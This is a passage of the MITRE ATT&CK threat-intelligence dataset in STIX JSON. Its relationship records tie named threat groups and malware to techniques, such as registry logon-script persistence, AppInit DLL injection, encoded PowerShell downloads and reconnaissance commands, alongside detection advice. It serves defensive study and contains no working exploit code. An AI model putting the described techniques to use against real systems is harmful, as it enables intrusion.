2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T13:59:20.685Z","description":"Scattered Spider threat actors search the victim’s Microsoft Exchange for emails about the intrusion and incident response.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9283994-d216-4796-989d-a375eb4834a9","type":"relationship","created":"2019-01-30T19:27:46.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Morphisec Cobalt Gang Oct 2018","url":"https://blog.morphisec.com/cobalt-gang-2.0","description":"Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."}],"modified":"2020-01-17T22:28:55.233Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has added persistence by registering the file name for the next stage malware under HKCU\\Environment\\UserInitMprLogonScript.(Citation: Morphisec Cobalt Gang Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f93054f0-320e-479e-ba67-a642a34afb61","created":"2022-04-14T15:37:52.649Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and consider configuring alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.","modified":"2022-04-14T15:37:52.649Z","relationship_type":"detects","source_ref":"x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b","target_ref":"attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f93060a3-7c58-444f-a45e-1386c289cee6","type":"relationship","created":"2022-02-02T15:25:50.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-02T15:25:50.366Z","description":"[LitePower](https://attack.mitre.org/software/S0680) has the ability to list local drives and enumerate the OS architecture.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f946b4f9-a18e-4a1e-856c-2c215f78f8be","type":"relationship","created":"2020-06-29T02:56:20.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T02:56:20.597Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used net accounts and net accounts /domain to acquire password policy information.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f947ae1c-1042-469d-b00e-84784e406cec","type":"relationship","created":"2020-11-10T16:04:00.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."}],"modified":"2020-11-10T16:04:00.714Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used Window Remote Management to move laterally through a victim network.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f94b51bf-5b45-4560-9a14-b755562d3d39","created":"2022-10-19T16:38:33.230Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:38:33.230Z","description":"Monitor for unusual/suspicious driver activity, especially regarding EDR and drivers associated with security tools as well as those that may be abused to disable security products.","relationship_type":"detects","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f94c1c97-ec5d-4703-93c1-91de05761d2a","created":"2020-08-27T17:29:05.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:16.576Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has remotely copied tools and malware onto targeted systems.(Citation: Cycraft Chimera April 2020)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f94c802d-62da-4689-ab35-baf9468e2423","type":"relationship","created":"2020-05-14T22:29:26.189Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Sharpshooter December 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}],"modified":"2020-06-17T15:39:20.110Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can detect network adapter and IP address information.(Citation: McAfee Sharpshooter December 2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f950b817-9082-4299-a310-6b48fc347ebc","created":"2021-09-08T17:56:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FIN8 July 2021","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021.","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation"},{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-06T15:50:11.062Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has used a malicious framework designed to impersonate the lsass.exe/vmtoolsd.exe token.(Citation: Bitdefender FIN8 July 2021)(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f95453f6-4b23-4ec4-bd76-7f44bca126b4","created":"2023-02-14T23:18:53.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T22:40:59.561Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used WMIC to modify administrative settings on both a local and a remote host, likely as part of the first stages for their lateral movement; they also used WMI Provider Host (`wmiprvse.exe`) to execute a variety of encoded PowerShell scripts using the `DownloadString` method.(Citation: Cisco Talos Avos Jun 2022)(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f957f429-c0d1-4b02-aef8-1d8500421225","type":"relationship","created":"2020-12-09T21:53:58.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:53:58.664Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) has a command to create a scheduled task for persistence.(Citation: CISA Zebrocy Oct 2020)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9600732-9116-4325-8073-28d81721b37a","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.653Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f966726b-ff17-4769-8514-e76be900aafa","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BADCALL","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"}],"modified":"2020-03-27T20:35:51.528Z","description":"[BADCALL](https://attack.mitre.org/software/S0245) collects the network adapter information.(Citation: US-CERT BADCALL)","relationship_type":"uses","source_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9669551-29f8-4aaf-83b9-50e541bbdced","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-30T02:54:53.422Z","description":"[FLASHFLOOD](https://attack.mitre.org/software/S0036) employs the same encoding scheme as [SPACESHIP](https://attack.mitre.org/software/S0035) for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f96794d1-0707-4897-9de1-08546b605bf0","type":"relationship","created":"2020-05-28T16:38:03.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-15T20:53:11.720Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can insert itself into the address space of other applications using the AppInit DLL Registry key.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f96a2b4a-4d74-4251-b714-40b224d3ad09","type":"relationship","created":"2020-06-01T14:41:54.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:41:54.672Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to delete files from a compromised host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f96e326d-5c91-4c22-9553-2faa4dc63e6f","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Monitor for newly constructed user accounts through account audits to detect suspicious accounts that may have been created by an adversary. Collect data on account creation within a network or Windows Event ID 4720 (for when a user account is created on a Windows system and domain controller).","source_ref":"x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f974cb59-0c30-43a3-bb3e-58ebc1007d6d","type":"relationship","created":"2021-01-06T16:56:56.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-22T22:22:49.128Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) dynamically resolved C2 infrastructure for randomly-generated subdomains within a parent domain.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9773935-853e-4d5e-9345-9587fd77340d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"},{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-14T15:14:33.557Z","description":"[DustySky](https://attack.mitre.org/software/S0062) scans the victim for files that contain certain keywords and document types including PDF, DOC, DOCX, XLS, and XLSX, from a list that is obtained from the C2 as a text file. It can also identify logical drives for the infected machine.(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f97798e2-ec1a-4cad-ab07-f61ef6cb8f78","created":"2023-07-28T17:34:16.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T18:33:17.917Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has used the Windows `dir` command to enumerate files and directories in a victim's network.(Citation: Mandiant FIN13 Aug 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f981bdff-fc4b-4539-82d9-0e69468148dc","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for contextual data about a firewall and activity around it such as name, policy, or status","source_ref":"x-mitre-data-component--746f095a-f84c-4ccc-90a5-c7caa5c100a2","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f981c633-9333-4c7d-a168-7bea28f64d52","type":"relationship","created":"2020-06-16T20:51:13.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.213Z","description":"[RTM](https://attack.mitre.org/software/S0148) has been delivered as archived Windows executable files masquerading as PDF documents.(Citation: Unit42 Redaman January 2019)\t","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f983de6b-eb17-4947-b4b0-50bd530f50e3","type":"relationship","created":"2021-02-10T20:45:20.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Windigo Mar 2014","url":"https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/","description":"Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., Léveillé, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo – the vivisection of a large Linux server‑side credential‑stealing malware campaign. Retrieved February 10, 2021."}],"modified":"2021-02-10T20:45:20.026Z","description":"[Windigo](https://attack.mitre.org/groups/G0124) has distributed Windows malware via drive-by downloads.(Citation: ESET Windigo Mar 2014)","relationship_type":"uses","source_ref":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9841bd6-ec35-423f-8b47-3f215fda197a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2019-04-25T00:09:23.169Z","description":"[yty](https://attack.mitre.org/software/S0248) runs ipconfig /all and collects the domain name.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9867ca2-18a1-4e84-ad1d-61d7c85fe4b3","type":"relationship","created":"2020-06-23T19:12:25.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-23T19:12:25.121Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f9911b03-f413-483b-b228-f5a82657c2d1","type":"relationship","created":"2022-01-05T15:37:40.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.","source_name":"Kaspersky Winnti April 2013"}],"modified":"2022-01-05T15:37:40.852Z","description":"(Citation: Kaspersky Winnti April 2013)","relationship_type":"uses","source_ref":"intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff","target_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f998689d-ce01-4ece-87a0-906255177e55","created":"2023-03-17T15:24:14.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T15:35:01.101Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) sent malicious OneDrive links with fictitious job offer advertisements via email.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 